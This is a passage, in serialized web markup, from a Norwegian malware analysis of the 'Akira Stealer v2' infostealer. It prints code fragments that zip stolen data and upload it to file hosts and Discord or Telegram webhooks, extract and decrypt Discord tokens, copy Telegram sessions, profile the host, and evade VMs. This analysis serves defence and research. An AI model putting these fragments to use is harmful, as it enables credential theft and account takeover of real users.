seed-fraser eller private nøkler.",[889,8436,8438],{"id":8437},"_786-pakking-og-eksfiltrering","7.8.6 Pakking og eksfiltrering",[526,8440,895],{},[526,8442,8443],{},"Når nettleserdata, credentials, lommebokinformasjon og tokens er samlet inn, går Akira videre med å konsolidere og eksfiltrere byttet på en svært automatisert og stillegående måte. Dette steget er det siste leddet i infeksjonskjeden, og det er optimalisert for pålitelighet og et minimalt forensisk fotavtrykk. Først komprimeres alle innsamlede data, inkludert nettleserdumper, logger og keylogget lommebokinformasjon, til et ZIP-arkiv. Dermed kan hele datasettet overføres som én payload. Arkivet lastes deretter opp til flere offentlige fildelingstjenester som GoFile, File.io eller Oshi.at, avhengig av tilgjengelighet. Disse plattformene tilbyr anonym, midlertidig hosting og brukes ofte til å omgå bedriftsbrannmurer eller omdømmebasert blokkering. Samtidig genereres en strukturert rapport som sendes til angriperen via en Discord- eller Telegram-webhook. Den inneholder oppsummerende statistikk, altså hvor mange lommebøker som ble funnet, hvor mange tokens som var gyldige, og en direktelenke til de stjålne dataene. Det gir angripere et raskt overblikk over verdien av målet uten å åpne arkivet.",[526,8445,8446],{},"Til slutt sletter malwaren den midlertidige mappen og arkivet fra disken, og fjerner i praksis lokale forensiske bevis. Når en forsvarer oppdager infeksjonen, er dataene allerede borte, og ofte umulige å få tilbake.",[616,8448,8450],{"className":4516,"code":8449,"language":4518,"meta":530,"style":530},"# 1) ZIP everything (including Wallets folder)\nzip_path = shutil.make_archive(Utils.get_temp_folder(), 'zip', Utils.get_temp_folder())\n# 2) Attempt upload to primary & fallback services\nurl = Webhook.uploadToGofile(zip_path) or Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\n# 3) Report summary\nembed = {\n    \"title\": \"💰 Wallet & Token Exfiltration Report\",\n    \"fields\": [\n        {\"name\": \"Extension Wallets\", \"value\": data.ext_wallets_count},\n        {\"name\": \"Desktop Wallets\",   \"value\": data.desktop_wallets_count},\n        {\"name\": \"Discord Tokens\",    \"value\": len(valid_tokens)},\n        {\"name\": \"Telegram Sessions\", \"value\": data.has_telegram},\n        {\"name\": \"Archive Link\",      \"value\": url or \"[upload failed]\"},\n    ]\n}\nWebhook.sendDataTG(Utils.get_temp_folder(), chatId, startup)\n# 4) Cleanup local folder & ZIP\nUtils.clear_client_folder()\n",[579,8451,8452,8457,8462,8467,8472,8477,8482,8487,8492,8497,8502,8507,8512,8517,8522,8526,8531,8536],{"__ignoreMap":530},[1710,8453,8454],{"class":1712,"line":1713},[1710,8455,8456],{},"# 1) ZIP everything (including Wallets folder)\n",[1710,8458,8459],{"class":1712,"line":531},[1710,8460,8461],{},"zip_path = shutil.make_archive(Utils.get_temp_folder(), 'zip', Utils.get_temp_folder())\n",[1710,8463,8464],{"class":1712,"line":2094},[1710,8465,8466],{},"# 2) Attempt upload to primary & fallback services\n",[1710,8468,8469],{"class":1712,"line":2100},[1710,8470,8471],{},"url = Webhook.uploadToGofile(zip_path) or Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\n",[1710,8473,8474],{"class":1712,"line":2420},[1710,8475,8476],{},"# 3) Report summary\n",[1710,8478,8479],{"class":1712,"line":2426},[1710,8480,8481],{},"embed = {\n",[1710,8483,8484],{"class":1712,"line":3084},[1710,8485,8486],{},"    \"title\": \"💰 Wallet & Token Exfiltration Report\",\n",[1710,8488,8489],{"class":1712,"line":3880},[1710,8490,8491],{},"    \"fields\": [\n",[1710,8493,8494],{"class":1712,"line":3886},[1710,8495,8496],{},"        {\"name\": \"Extension Wallets\", \"value\": data.ext_wallets_count},\n",[1710,8498,8499],{"class":1712,"line":4131},[1710,8500,8501],{},"        {\"name\": \"Desktop Wallets\",   \"value\": data.desktop_wallets_count},\n",[1710,8503,8504],{"class":1712,"line":5055},[1710,8505,8506],{},"        {\"name\": \"Discord Tokens\",    \"value\": len(valid_tokens)},\n",[1710,8508,8509],{"class":1712,"line":5061},[1710,8510,8511],{},"        {\"name\": \"Telegram Sessions\", \"value\": data.has_telegram},\n",[1710,8513,8514],{"class":1712,"line":5067},[1710,8515,8516],{},"        {\"name\": \"Archive Link\",      \"value\": url or \"[upload failed]\"},\n",[1710,8518,8519],{"class":1712,"line":5073},[1710,8520,8521],{},"    ]\n",[1710,8523,8524],{"class":1712,"line":5079},[1710,8525,2429],{},[1710,8527,8528],{"class":1712,"line":5085},[1710,8529,8530],{},"Webhook.sendDataTG(Utils.get_temp_folder(), chatId, startup)\n",[1710,8532,8533],{"class":1712,"line":5091},[1710,8534,8535],{},"# 4) Cleanup local folder & ZIP\n",[1710,8537,8538],{"class":1712,"line":5097},[1710,8539,7719],{},[741,8541,8543,8544,1140],{"id":8542},"_79-tyveri-av-discord-og-telegram-tokens-klasse-discord","7.9. Tyveri av Discord- og Telegram-tokens (klasse: ",[579,8545,1344],{},[526,8547,747],{},[526,8549,8550,8552],{},[568,8551,1344],{},"-klassen i Akira Stealer v2 kjører en sterkt parallellisert flertrinnsprosess for å høste både Discord-autorisasjonstokens og Telegram-sesjonsdata. Under bryter vi ned hver komponent med presise kodereferanser og illustrerende eksempler.",[889,8554,8556],{"id":8555},"_791-initialisering-og-enumerering-av-stier","7.9.1 Initialisering og enumerering av stier",[526,8558,895],{},[526,8560,8561],{},"Ved instansiering bygger konstruktøren to sett med målstier:",[616,8563,8565],{"className":4516,"code":8564,"language":4518,"meta":530,"style":530},"# Discord client LevelDB directories\ndiscord_paths = [\n    [f\"{self.ROAMING}/Discord\", \"/Local Storage/leveldb\"],\n    [f\"{self.ROAMING}/Lightcord\", \"/Local Storage/leveldb\"],\n    ...\n]\n\n# Chromium-based browser LevelDB directories\nbrowserPaths = [\n    [f\"{self.ROAMING}/Opera Software/Opera GX Stable\", \"opera.exe\", \"/Local Storage/leveldb\", ...],\n    [f\"{self.LOCAL}/Google/Chrome/User Data\", \"chrome.exe\", \"/Default/Local Storage/leveldb\", ...],\n    ...\n]\n",[579,8566,8567,8572,8577,8582,8587,8591,8595,8599,8604,8609,8614,8619,8623],{"__ignoreMap":530},[1710,8568,8569],{"class":1712,"line":1713},[1710,8570,8571],{},"# Discord client LevelDB directories\n",[1710,8573,8574],{"class":1712,"line":531},[1710,8575,8576],{},"discord_paths = [\n",[1710,8578,8579],{"class":1712,"line":2094},[1710,8580,8581],{},"    [f\"{self.ROAMING}/Discord\", \"/Local Storage/leveldb\"],\n",[1710,8583,8584],{"class":1712,"line":2100},[1710,8585,8586],{},"    [f\"{self.ROAMING}/Lightcord\", \"/Local Storage/leveldb\"],\n",[1710,8588,8589],{"class":1712,"line":2420},[1710,8590,3867],{},[1710,8592,8593],{"class":1712,"line":2426},[1710,8594,7945],{},[1710,8596,8597],{"class":1712,"line":3084},[1710,8598,3877],{"emptyLinePlaceholder":325},[1710,8600,8601],{"class":1712,"line":3880},[1710,8602,8603],{},"# Chromium-based browser LevelDB directories\n",[1710,8605,8606],{"class":1712,"line":3886},[1710,8607,8608],{},"browserPaths = [\n",[1710,8610,8611],{"class":1712,"line":4131},[1710,8612,8613],{},"    [f\"{self.ROAMING}/Opera Software/Opera GX Stable\", \"opera.exe\", \"/Local Storage/leveldb\", ...],\n",[1710,8615,8616],{"class":1712,"line":5055},[1710,8617,8618],{},"    [f\"{self.LOCAL}/Google/Chrome/User Data\", \"chrome.exe\", \"/Default/Local Storage/leveldb\", ...],\n",[1710,8620,8621],{"class":1712,"line":5061},[1710,8622,3867],{},[1710,8624,8625],{"class":1712,"line":5067},[1710,8626,7945],{},[631,8628,8629,8638],{},[634,8630,8631,8634,8635,614],{},[568,8632,8633],{},"Discord Paths"," retter seg mot offisielle og uoffisielle Discord-klienter under ",[579,8636,8637],{},"%APPDATA%",[634,8639,8640,8643],{},[568,8641,8642],{},"Browser Paths"," dekker brukerdatamappene til populære nettlesere, inkludert undermapper for local storage og utvidelser.",[526,8645,8646],{},"Det startes tråder for hver oppføring:",[616,8648,8650],{"className":4516,"code":8649,"language":4518,"meta":530,"style":530},"for patt in browserPaths:\n    t = Thread(target=self.get_btoken, args=[patt[0], patt[2]])\n    t.start()\nfor patt in discord_paths:\n    t = Thread(target=self.get_discord, args=[patt[0], patt[1]])\n    t.start()\n",[579,8651,8652,8657,8662,8667,8672,8677],{"__ignoreMap":530},[1710,8653,8654],{"class":1712,"line":1713},[1710,8655,8656],{},"for patt in browserPaths:\n",[1710,8658,8659],{"class":1712,"line":531},[1710,8660,8661],{},"    t = Thread(target=self.get_btoken, args=[patt[0], patt[2]])\n",[1710,8663,8664],{"class":1712,"line":2094},[1710,8665,8666],{},"    t.start()\n",[1710,8668,8669],{"class":1712,"line":2100},[1710,8670,8671],{},"for patt in discord_paths:\n",[1710,8673,8674],{"class":1712,"line":2420},[1710,8675,8676],{},"    t = Thread(target=self.get_discord, args=[patt[0], patt[1]])\n",[1710,8678,8679],{"class":1712,"line":2426},[1710,8680,8666],{},[526,8682,8683],{},"Denne trådmodellen maksimerer I/O-gjennomstrømningen og sonderer dusinvis av kataloger samtidig.",[889,8685,8687],{"id":8686},"_792-logikk-for-uthenting-av-tokens","7.9.2 Logikk for uthenting av tokens",[526,8689,895],{},[526,8691,8692],{},[568,8693,8694],{},"Plaintext Token Scraping from Browsers",[526,8696,8697,8700,8701,8704,8705,8708],{},[579,8698,8699],{},"get_btoken(path, arg)"," navigerer til hver LevelDB-mappe og inspiserer ",[579,8702,8703],{},".log","- og ",[579,8706,8707],{},".ldb","-filer:",[616,8710,8712],{"className":4516,"code":8711,"language":4518,"meta":530,"style":530},"for file in os.listdir(path + arg):\n    if file.endswith((\".log\", \".ldb\")):\n        for line in open(f\"{path}{arg}/{file}\", errors=\"ignore\"):\n            for regex in (r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}\", r\"mfa\\.[\\w-]{80,95}\"):\n                tokens = re.findall(regex, line)\n                for token in tokens:\n                    self.tokens.append(token)\n                    self.cehckToken(token)\n",[579,8713,8714,8719,8724,8729,8734,8739,8744,8749],{"__ignoreMap":530},[1710,8715,8716],{"class":1712,"line":1713},[1710,8717,8718],{},"for file in os.listdir(path + arg):\n",[1710,8720,8721],{"class":1712,"line":531},[1710,8722,8723],{},"    if file.endswith((\".log\", \".ldb\")):\n",[1710,8725,8726],{"class":1712,"line":2094},[1710,8727,8728],{},"        for line in open(f\"{path}{arg}/{file}\", errors=\"ignore\"):\n",[1710,8730,8731],{"class":1712,"line":2100},[1710,8732,8733],{},"            for regex in (r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}\", r\"mfa\\.[\\w-]{80,95}\"):\n",[1710,8735,8736],{"class":1712,"line":2420},[1710,8737,8738],{},"                tokens = re.findall(regex, line)\n",[1710,8740,8741],{"class":1712,"line":2426},[1710,8742,8743],{},"                for token in tokens:\n",[1710,8745,8746],{"class":1712,"line":3084},[1710,8747,8748],{},"                    self.tokens.append(token)\n",[1710,8750,8751],{"class":1712,"line":3880},[1710,8752,8753],{},"                    self.cehckToken(token)\n",[631,8755,8756,8765,8773],{},[634,8757,8758,8764],{},[568,8759,8760,8761],{},"Regex ",[579,8762,8763],{},"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}"," treffer vanlige Discord-tokens.",[634,8766,8767,8772],{},[568,8768,8760,8769],{},[579,8770,8771],{},"mfa\\.[\\w-]{80,95}"," fanger MFA-tokens.",[634,8774,8775,8776,8779],{},"Dedupliseringen er implisitt: tokens lagres i ",[579,8777,8778],{},"self.tokens"," før validering.",[526,8781,8782],{},[568,8783,8784],{},"Encrypted Token Decryption in Discord Client",[526,8786,8787,8788,8790,8791,8793,8794,8797],{},"Discord-klienten krypterer Local Storage-oppføringer under DPAPI, med ",[579,8789,6525],{}," eller ",[579,8792,6529],{}," som prefiks. ",[579,8795,8796],{},"get_discord(path, arg)"," håndterer dette:",[616,8799,8801],{"className":4516,"code":8800,"language":4518,"meta":530,"style":530},"# Read Local State to obtain encrypted master key\nwith open(path + \"/Local State\", 'r') as f:\n    local_state = json.load(f)\nencrypted_key = b64decode(local_state['os_crypt']['encrypted_key'])[5:]\nmaster_key = self.CryptUnprotectData(encrypted_key)\n\n# Iterate LevelDB files for Base64 payloads\nfor file in os.listdir(path + arg):\n    if file.endswith((\".log\", \".ldb\")):\n        for line in open(f\"{path}{arg}/{file}\"):\n            for token_part in re.findall(r\"dQw4w9WgXcQ:([A-Za-z0-9+/=]+)\", line):\n                ciphertext = b64decode(token_part)\n                token = self.decrypt_value(ciphertext, master_key)\n                self.tokens.append(token)\n                self.cehckToken(token)\n",[579,8802,8803,8808,8813,8817,8822,8827,8831,8836,8840,8844,8849,8854,8859,8864,8869],{"__ignoreMap":530},[1710,8804,8805],{"class":1712,"line":1713},[1710,8806,8807],{},"# Read Local State to obtain encrypted master key\n",[1710,8809,8810],{"class":1712,"line":531},[1710,8811,8812],{},"with open(path + \"/Local State\", 'r') as f:\n",[1710,8814,8815],{"class":1712,"line":2094},[1710,8816,7120],{},[1710,8818,8819],{"class":1712,"line":2100},[1710,8820,8821],{},"encrypted_key = b64decode(local_state['os_crypt']['encrypted_key'])[5:]\n",[1710,8823,8824],{"class":1712,"line":2420},[1710,8825,8826],{},"master_key = self.CryptUnprotectData(encrypted_key)\n",[1710,8828,8829],{"class":1712,"line":2426},[1710,8830,3877],{"emptyLinePlaceholder":325},[1710,8832,8833],{"class":1712,"line":3084},[1710,8834,8835],{},"# Iterate LevelDB files for Base64 payloads\n",[1710,8837,8838],{"class":1712,"line":3880},[1710,8839,8718],{},[1710,8841,8842],{"class":1712,"line":3886},[1710,8843,8723],{},[1710,8845,8846],{"class":1712,"line":4131},[1710,8847,8848],{},"        for line in open(f\"{path}{arg}/{file}\"):\n",[1710,8850,8851],{"class":1712,"line":5055},[1710,8852,8853],{},"            for token_part in re.findall(r\"dQw4w9WgXcQ:([A-Za-z0-9+/=]+)\", line):\n",[1710,8855,8856],{"class":1712,"line":5061},[1710,8857,8858],{},"                ciphertext = b64decode(token_part)\n",[1710,8860,8861],{"class":1712,"line":5067},[1710,8862,8863],{},"                token = self.decrypt_value(ciphertext, master_key)\n",[1710,8865,8866],{"class":1712,"line":5073},[1710,8867,8868],{},"                self.tokens.append(token)\n",[1710,8870,8871],{"class":1712,"line":5079},[1710,8872,8873],{},"                self.cehckToken(token)\n",[631,8875,8876,8885],{},[634,8877,8878,8881,8882,8884],{},[568,8879,8880],{},"Master Key Recovery",": Skreller bort den 5 byte lange DPAPI-headeren og kaller deretter ",[579,8883,7186],{}," (som pakker inn Windows DPAPI) for å dekryptere AES-GCM-nøkkelen.",[634,8886,8887,8890,8891,8894,8895,8898,8899],{},[568,8888,8889],{},"Payload Parsing",": Tokens har prefikset ",[579,8892,8893],{},"dQw4w9WgXcQ:"," (en markør angriperen har valgt). Etter Base64-dekoding deler ",[579,8896,8897],{},"decrypt_value()"," opp IV og ciphertext:",[616,8900,8902],{"className":4516,"code":8901,"language":4518,"meta":530,"style":530},"def decrypt\\_value(buff, master\\_key):\niv = buff\\[3:15]\npayload = buff\\[15:]\ncipher = AES.new(master\\_key, AES.MODE\\_GCM, iv)\nreturn cipher.decrypt(payload)\\[:-16].decode()\n",[579,8903,8904,8909,8914,8919,8924],{"__ignoreMap":530},[1710,8905,8906],{"class":1712,"line":1713},[1710,8907,8908],{},"def decrypt\\_value(buff, master\\_key):\n",[1710,8910,8911],{"class":1712,"line":531},[1710,8912,8913],{},"iv = buff\\[3:15]\n",[1710,8915,8916],{"class":1712,"line":2094},[1710,8917,8918],{},"payload = buff\\[15:]\n",[1710,8920,8921],{"class":1712,"line":2100},[1710,8922,8923],{},"cipher = AES.new(master\\_key, AES.MODE\\_GCM, iv)\n",[1710,8925,8926],{"class":1712,"line":2420},[1710,8927,8928],{},"return cipher.decrypt(payload)\\[:-16].decode()\n",[889,8930,8932],{"id":8931},"_793-validering-og-eksfiltrering-av-tokens","7.9.3 Validering og eksfiltrering av tokens",[526,8934,895],{},[526,8936,8937],{},"Hvert token som hentes ut, valideres via et live API-kall:",[616,8939,8942],{"className":8940,"code":8941,"language":621},[619],"headers = {\"Authorization\": token}\nresp = requests.get(\"https://discordapp.com/api/v9/users/@me\", headers=headers)\nif resp.status_code == 200:\n    self.cehckToken(token)\n",[579,8943,8941],{"__ignoreMap":530},[631,8945,8946],{},[634,8947,8948,8951,8952,8955,8956,8959,8960],{},[568,8949,8950],{},"Ved suksess"," avgjør ",[579,8953,8954],{},"cehckToken()"," om den skal sende via Telegram (",[579,8957,8958],{},"useTg=True",") eller Discord-webhook:",[616,8961,8963],{"className":4516,"code":8962,"language":4518,"meta":530,"style":530},"if useTg:\nself.sendTokenTg(token)\nelse:\nself.send\\_embed(token)\n",[579,8964,8965,8970,8975,8980],{"__ignoreMap":530},[1710,8966,8967],{"class":1712,"line":1713},[1710,8968,8969],{},"if useTg:\n",[1710,8971,8972],{"class":1712,"line":531},[1710,8973,8974],{},"self.sendTokenTg(token)\n",[1710,8976,8977],{"class":1712,"line":2094},[1710,8978,8979],{},"else:\n",[1710,8981,8982],{"class":1712,"line":2100},[1710,8983,8984],{},"self.send\\_embed(token)\n",[631,8986,8987],{},[634,8988,8989,8994],{},[568,8990,8991],{},[579,8992,8993],{},"send_embed"," bygger en rik Discord-embed med brukerens metadata (username, discriminator, e-post, Nitro-status, faktureringsinfo) ved hjelp av felter fra",[616,8996,8999],{"className":8997,"code":8998,"language":621},[619],"user_json = requests.get(...).json()\nusername = user_json[\"username\"]\nid = user_json[\"id\"]\n# embed fields: token, email, phone, IP, flags, Nitro, billing\n",[579,9000,8998],{"__ignoreMap":530},[631,9002,9003],{},[634,9004,9005,9010],{},[568,9006,9007],{},[579,9008,9009],{},"sendTokenTg"," sender en oppsummering i klartekst via Telegram-API-et.",[889,9012,9014],{"id":9013},"_794-innsamling-av-telegram-sesjoner","7.9.4 Innsamling av Telegram-sesjoner",[526,9016,895],{},[526,9018,9019],{},"Utover Discord-tokens tar stealeren også Telegram Desktop-sesjoner:",[616,9021,9023],{"className":4516,"code":9022,"language":4518,"meta":530,"style":530},"@staticmethod\ndef steal_telegram():\n    src = f\"{os.getenv('APPDATA')}/Telegram Desktop/tdata\"\n    Utils.TaskKill(\"telegram.exe\")\n    shutil.copytree(src, os.path.join(Utils.get_temp_folder(), \"Telegram\"))\n",[579,9024,9025,9029,9034,9039,9044],{"__ignoreMap":530},[1710,9026,9027],{"class":1712,"line":1713},[1710,9028,5007],{},[1710,9030,9031],{"class":1712,"line":531},[1710,9032,9033],{},"def steal_telegram():\n",[1710,9035,9036],{"class":1712,"line":2094},[1710,9037,9038],{},"    src = f\"{os.getenv('APPDATA')}/Telegram Desktop/tdata\"\n",[1710,9040,9041],{"class":1712,"line":2100},[1710,9042,9043],{},"    Utils.TaskKill(\"telegram.exe\")\n",[1710,9045,9046],{"class":1712,"line":2420},[1710,9047,9048],{},"    shutil.copytree(src, os.path.join(Utils.get_temp_folder(), \"Telegram\"))\n",[631,9050,9051,9057,9066],{},[634,9052,9053,9056],{},[568,9054,9055],{},"Process Termination",": Sørger for at fillåser slippes.",[634,9058,9059,9062,9063,9065],{},[568,9060,9061],{},"Recursive Copy",": Stjeler ",[579,9064,8298],{},"-mappen, inkludert brukersesjoner, kontakter og hurtiglagrede meldinger.",[634,9067,9068,9071,9072,9075],{},[568,9069,9070],{},"Exfiltration",": Den stjålne mappen zippes og lastes opp via ",[579,9073,9074],{},"sendFilesTG()",", med nedlastingslenken lagt inn i en Telegram-melding.",[526,9077,9078,9080],{},[579,9079,1344],{},"-modulen i Akira Stealer kombinerer regex-basert scraping, DPAPI-underbygd AES-GCM-dekryptering, validering mot live API og eksfiltrering over flere protokoller (webhook og Telegram) for å levere friksjonsfri kontoovertakelse på både Discord og Telegram.",[741,9082,9084],{"id":9083},"_710-systemprofilering","7.10 Systemprofilering",[526,9086,747],{},[526,9088,9089,9090,9093],{},"Akira Stealer v2 har en omfattende systemprofileringsfase for å samle inn vertsmetadata, miljøattributter og nettverksdetaljer. Informasjonen samles i klassen ",[579,9091,9092],{},"Data"," og pakkes senere sammen med de eksfiltrerte credentials. Under bryter vi ned profileringslogikken med direkte kodereferanser.",[889,9095,9097,9098,9100],{"id":9096},"_7101-initialisering-av-data-klassen","7.10.1 Initialisering av ",[579,9099,9092],{},"-klassen",[526,9102,895],{},[526,9104,9105,9106,1200],{},"Ved oppstart opprettes en instans av ",[579,9107,9092],{},[616,9109,9111],{"className":4516,"code":9110,"language":4518,"meta":530,"style":530},"class Data:\n    def __init__(self):\n        self.username = os.getlogin()\n        self.computerName = os.getenv(\"computername\") or \"Unable to get computer name\"\n        self.system_info = f\"Computer Name: {self.computerName}\\n...\"\n        ...\n        self.ip = requests.get(url=\"https://api.ipify.org\").text\n        ipdata = json.loads(requests.post(url=f\"http://ip-api.com/json/{self.ip}\").text)\n        self.country = ipdata.get(\"country\")\n        self.countryCode = ipdata.get(\"countryCode\", \"\").lower()\n",[579,9112,9113,9118,9123,9128,9133,9138,9143,9148,9153,9158],{"__ignoreMap":530},[1710,9114,9115],{"class":1712,"line":1713},[1710,9116,9117],{},"class Data:\n",[1710,9119,9120],{"class":1712,"line":531},[1710,9121,9122],{},"    def __init__(self):\n",[1710,9124,9125],{"class":1712,"line":2094},[1710,9126,9127],{},"        self.username = os.getlogin()\n",[1710,9129,9130],{"class":1712,"line":2100},[1710,9131,9132],{},"        self.computerName = os.getenv(\"computername\") or \"Unable to get computer name\"\n",[1710,9134,9135],{"class":1712,"line":2420},[1710,9136,9137],{},"        self.system_info = f\"Computer Name: {self.computerName}\\n...\"\n",[1710,9139,9140],{"class":1712,"line":2426},[1710,9141,9142],{},"        ...\n",[1710,9144,9145],{"class":1712,"line":3084},[1710,9146,9147],{},"        self.ip = requests.get(url=\"https://api.ipify.org\").text\n",[1710,9149,9150],{"class":1712,"line":3880},[1710,9151,9152],{},"        ipdata = json.loads(requests.post(url=f\"http://ip-api.com/json/{self.ip}\").text)\n",[1710,9154,9155],{"class":1712,"line":3886},[1710,9156,9157],{},"        self.country = ipdata.get(\"country\")\n",[1710,9159,9160],{"class":1712,"line":4131},[1710,9161,9162],{},"        self.countryCode = ipdata.get(\"countryCode\", \"\").lower()\n",[631,9164,9165,9178],{},[634,9166,9167,9170,9171,9174,9175,614],{},[568,9168,9169],{},"Username & Hostname:"," Hentes via ",[579,9172,9173],{},"os.getlogin()"," og miljøvariabelen ",[579,9176,9177],{},"COMPUTERNAME",[634,9179,9180,9183,9184,9187,9188,9190],{},[568,9181,9182],{},"IP Address:"," Hentes med ",[579,9185,9186],{},"requests.get(\"https://api.ipify.org\")"," og geolokaliseres deretter via ",[579,9189,5353],{}," for land og ISO-kode.",[889,9192,9194],{"id":9193},"_7102-enumerering-av-os-og-maskinvare","7.10.2 Enumerering av OS og maskinvare",[526,9196,895],{},[526,9198,9199],{},"Ved hjelp av WMI-kommandoer (Windows Management Instrumentation):",[616,9201,9203],{"className":4516,"code":9202,"language":4518,"meta":530,"style":530},"# Operating System\nself.computerOS = subprocess.run('wmic os get Caption', shell=True, capture_output=True).stdout\n# Total Physical Memory\nself.totalMemory = subprocess.run('wmic computersystem get totalphysicalmemory', ...)\n# BIOS UUID\nself.uuid = subprocess.run('wmic csproduct get uuid', ...)\n# CPU Identifier\nself.cpu = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:System...\\Processor_Identifier'\", ...)\n# GPU Name\nself.gpu = subprocess.run('wmic path win32_VideoController get name', ...)\n# Windows Product Key\nself.productKey = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\\\Microsoft\\\\Windows NT...SoftwareProtectionPlatform' -Name BackupProductKeyDefault\", ...)\n",[579,9204,9205,9210,9215,9220,9225,9230,9235,9240,9245,9250,9255,9260],{"__ignoreMap":530},[1710,9206,9207],{"class":1712,"line":1713},[1710,9208,9209],{},"# Operating System\n",[1710,9211,9212],{"class":1712,"line":531},[1710,9213,9214],{},"self.computerOS = subprocess.run('wmic os get Caption', shell=True, capture_output=True).stdout\n",[1710,9216,9217],{"class":1712,"line":2094},[1710,9218,9219],{},"# Total Physical Memory\n",[1710,9221,9222],{"class":1712,"line":2100},[1710,9223,9224],{},"self.totalMemory = subprocess.run('wmic computersystem get totalphysicalmemory', ...)\n",[1710,9226,9227],{"class":1712,"line":2420},[1710,9228,9229],{},"# BIOS UUID\n",[1710,9231,9232],{"class":1712,"line":2426},[1710,9233,9234],{},"self.uuid = subprocess.run('wmic csproduct get uuid', ...)\n",[1710,9236,9237],{"class":1712,"line":3084},[1710,9238,9239],{},"# CPU Identifier\n",[1710,9241,9242],{"class":1712,"line":3880},[1710,9243,9244],{},"self.cpu = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:System...\\Processor_Identifier'\", ...)\n",[1710,9246,9247],{"class":1712,"line":3886},[1710,9248,9249],{},"# GPU Name\n",[1710,9251,9252],{"class":1712,"line":4131},[1710,9253,9254],{},"self.gpu = subprocess.run('wmic path win32_VideoController get name', ...)\n",[1710,9256,9257],{"class":1712,"line":5055},[1710,9258,9259],{},"# Windows Product Key\n",[1710,9261,9262],{"class":1712,"line":5061},[1710,9263,9264],{},"self.productKey = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\\\Microsoft\\\\Windows NT...SoftwareProtectionPlatform' -Name BackupProductKeyDefault\", ...)\n",[526,9266,9267,9268,9271],{},"Resultatene tolkes til lesbare strenger (",[579,9269,9270],{},"strip()",", indeksoperasjoner) og settes sammen til:",[616,9273,9275],{"className":4516,"code":9274,"language":4518,"meta":530,"style":530},"self.system_info = (\n    f\"Computer Name: {self.computerName}\\n\"\n    f\"Total Memory: {self.totalMemory}\\n\"\n    f\"CPU: {self.cpu}\\n\"\n    f\"GPU: {self.gpu}\\n\"\n    f\"Product Key: {self.productKey}\"\n)\n",[579,9276,9277,9282,9287,9292,9297,9302,9307],{"__ignoreMap":530},[1710,9278,9279],{"class":1712,"line":1713},[1710,9280,9281],{},"self.system_info = (\n",[1710,9283,9284],{"class":1712,"line":531},[1710,9285,9286],{},"    f\"Computer Name: {self.computerName}\\n\"\n",[1710,9288,9289],{"class":1712,"line":2094},[1710,9290,9291],{},"    f\"Total Memory: {self.totalMemory}\\n\"\n",[1710,9293,9294],{"class":1712,"line":2100},[1710,9295,9296],{},"    f\"CPU: {self.cpu}\\n\"\n",[1710,9298,9299],{"class":1712,"line":2420},[1710,9300,9301],{},"    f\"GPU: {self.gpu}\\n\"\n",[1710,9303,9304],{"class":1712,"line":2426},[1710,9305,9306],{},"    f\"Product Key: {self.productKey}\"\n",[1710,9308,9309],{"class":1712,"line":3084},[1710,9310,5274],{},[889,9312,9314],{"id":9313},"_7103-vm-deteksjon-og-anti-sandbox-sjekker","7.10.3 VM-deteksjon og anti-sandbox-sjekker",[526,9316,895],{},[526,9318,9319,9320,9322],{},"Før den dypere profileringen kaller malwaren ",[579,9321,4692],{}," for å oppdage virtualiserings- eller analysemiljøer:",[616,9324,9326],{"className":4516,"code":9325,"language":4518,"meta":530,"style":530},"if VmProtect.isVM(1):\n    sys.exit()\n",[579,9327,9328,9333],{"__ignoreMap":530},[1710,9329,9330],{"class":1712,"line":1713},[1710,9331,9332],{},"if VmProtect.isVM(1):\n",[1710,9334,9335],{"class":1712,"line":531},[1710,9336,9337],{},"    sys.exit()\n",[526,9339,9340],{},"Sentrale sjekker omfatter:",[631,9342,9343,9349,9355,9361],{},[634,9344,9345,9348],{},[568,9346,9347],{},"Registry Keys & Driver Descriptors",": Spør etter virtualiseringsrelaterte registeroppføringer.",[634,9350,9351,9354],{},[568,9352,9353],{},"Blacklisted UUIDs & Computer Names",": Sammenligner med kjente VM-fingeravtrykk.",[634,9356,9357,9360],{},[568,9358,9359],{},"HTTP Simulation",": Forsøker å koble til et domene som ikke finnes, over HTTPS.",[634,9362,9363,9366,9367,647,9370,647,9373,614],{},[568,9364,9365],{},"Process Blacklist",": Starter en bakgrunnstråd som avslutter verktøy som ",[579,9368,9369],{},"wireshark",[579,9371,9372],{},"ollydbg",[579,9374,9375],{},"ida64",[889,9377,9379],{"id":9378},"_7104-pakking-og-overføring","7.10.4 Pakking og overføring",[526,9381,895],{},[526,9383,9384,9385,9388],{},"De innsamlede ",[579,9386,9387],{},"system_info",", IP-adressen og landflagget legges inn i headerne til webhook-payloaden:",[616,9390,9392],{"className":4516,"code":9391,"language":4518,"meta":530,"style":530},"webhook_payload = {\n    \"embeds\": [{\n        \"title\": f\"💉 Infected {self.computerName}/{self.username} | {self.ip} {flag}\",\n        \"description\": description + \"\\n```⚙️ System Info\\n\" + self.system_info + \"```\",\n        \"fields\": [...]\n    }]\n}\nrequests.post(self.webhook_url, json=webhook_payload)\n",[579,9393,9394,9399,9404,9409,9414,9419,9424,9428],{"__ignoreMap":530},[1710,9395,9396],{"class":1712,"line":1713},[1710,9397,9398],{},"webhook_payload = {\n",[1710,9400,9401],{"class":1712,"line":531},[1710,9402,9403],{},"    \"embeds\": [{\n",[1710,9405,9406],{"class":1712,"line":2094},[1710,9407,9408],{},"        \"title\": f\"💉 Infected {self.computerName}/{self.username} | {self.ip} {flag}\",\n",[1710,9410,9411],{"class":1712,"line":2100},[1710,9412,9413],{},"        \"description\": description + \"\\n```⚙️ System Info\\n\" + self.system_info + \"```\",\n",[1710,9415,9416],{"class":1712,"line":2420},[1710,9417,9418],{},"        \"fields\": [...]\n",[1710,9420,9421],{"class":1712,"line":2426},[1710,9422,9423],{},"    }]\n",[1710,9425,9426],{"class":1712,"line":3084},[1710,9427,2429],{},[1710,9429,9430],{"class":1712,"line":3880},[1710,9431,9432],{},"requests.post(self.webhook_url, 